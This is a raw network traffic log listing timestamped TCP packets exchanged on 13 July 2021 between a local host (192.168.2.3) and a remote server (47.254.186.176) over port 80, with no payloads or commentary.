Jul 13, 2021 14:37:56.070540905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.070545912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.070552111 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.070564032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.070579052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.070589066 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.070594072 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.070607901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.070616961 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.070622921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.070636988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.070648909 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.070652008 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.070667028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.070672035 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.070683956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.070699930 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.070724010 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.070745945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.070746899 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.070760012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.070815086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.070976019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.070992947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071007013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071022034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071036100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071049929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071068048 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071068048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071082115 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071084976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071099043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071124077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071149111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071109056 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071160078 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071162939 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071163893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071178913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071193933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071208954 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071222067 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071227074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071243048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071247101 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071258068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071271896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071279049 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071286917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071300983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071316004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071324110 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071330070 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071331024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071348906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071363926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071367025 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071377993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071394920 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071405888 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071408987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071424007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071438074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071441889 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071453094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071463108 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071490049 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071492910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071507931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071522951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071537971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071552038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071552038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071566105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071573973 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071583986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071599007 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071599960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071614027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071620941 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071629047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071643114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071654081 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071656942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071671963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071686983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071693897 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071705103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.071711063 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071743965 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.071821928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072000027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072052956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072065115 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072067022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072083950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072098017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072115898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072118044 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072132111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072144985 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072148085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072163105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072170019 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072177887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072201967 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072237015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072252035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072287083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072293997 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072302103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072335005 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072341919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072359085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072374105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072387934 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072388887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072403908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072417021 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072418928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072433949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072451115 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072451115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072467089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072480917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072495937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072510958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072513103 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072524071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072525024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072539091 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072539091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072578907 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072607994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072622061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072637081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072652102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072655916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072669983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072688103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072701931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072716951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072716951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072731972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072742939 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072745085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072761059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072774887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072793007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072798967 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072809935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072824001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072834015 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072839022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072849989 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072854042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072869062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072882891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.072886944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072905064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.072927952 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.073074102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.073790073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.073806047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.073821068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.073836088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.073843002 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.073879957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074336052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074352026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074367046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074381113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074387074 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074409008 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074415922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074445963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074461937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074465036 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074476004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074493885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074496031 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074508905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074542999 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074583054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074609041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074618101 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074631929 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074647903 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074661970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074671984 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074680090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074696064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074714899 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074723005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074738026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074743986 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074753046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074768066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074783087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074796915 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074801922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074817896 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074830055 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074831963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074846983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074857950 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074866056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074877977 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074879885 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074894905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074909925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074912071 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074934959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074949980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074964046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074982882 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.074994087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.074999094 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075001001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075009108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075023890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075038910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075052977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075064898 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075067043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075081110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075098991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075100899 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075125933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075129986 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075143099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075158119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075160027 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075172901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075186968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075192928 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075206041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075222015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075228930 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075237036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075252056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075263977 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075265884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075280905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075290918 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075294971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075309992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075324059 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075328112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075335026 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075344086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075357914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075364113 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075372934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075387955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075392008 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075402021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075417042 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075431108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075437069 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075462103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075474977 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075488091 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075594902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075611115 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075624943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075650930 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075706959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075721979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075740099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075762033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075776100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075783014 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075810909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075839043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075855017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075870037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075885057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075890064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075898886 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075913906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075927973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075942993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075946093 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075961113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075975895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.075977087 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.075992107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076005936 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.076006889 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076014996 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.076021910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076035976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076042891 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.076050043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076065063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076080084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.076082945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076097965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076112032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076112986 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.076127052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076141119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076154947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076164007 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.076169014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076175928 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.076184034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076200008 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.076201916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076217890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076225996 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.076231956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076246977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076261044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076265097 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.076275110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076289892 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076292038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.076304913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076306105 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.076323032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076339960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076354027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076355934 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.076369047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076383114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076396942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076399088 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.076411009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:56.076422930 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:56.076426029 CEST	80	49757	47.254.186.176	192.168.2.3
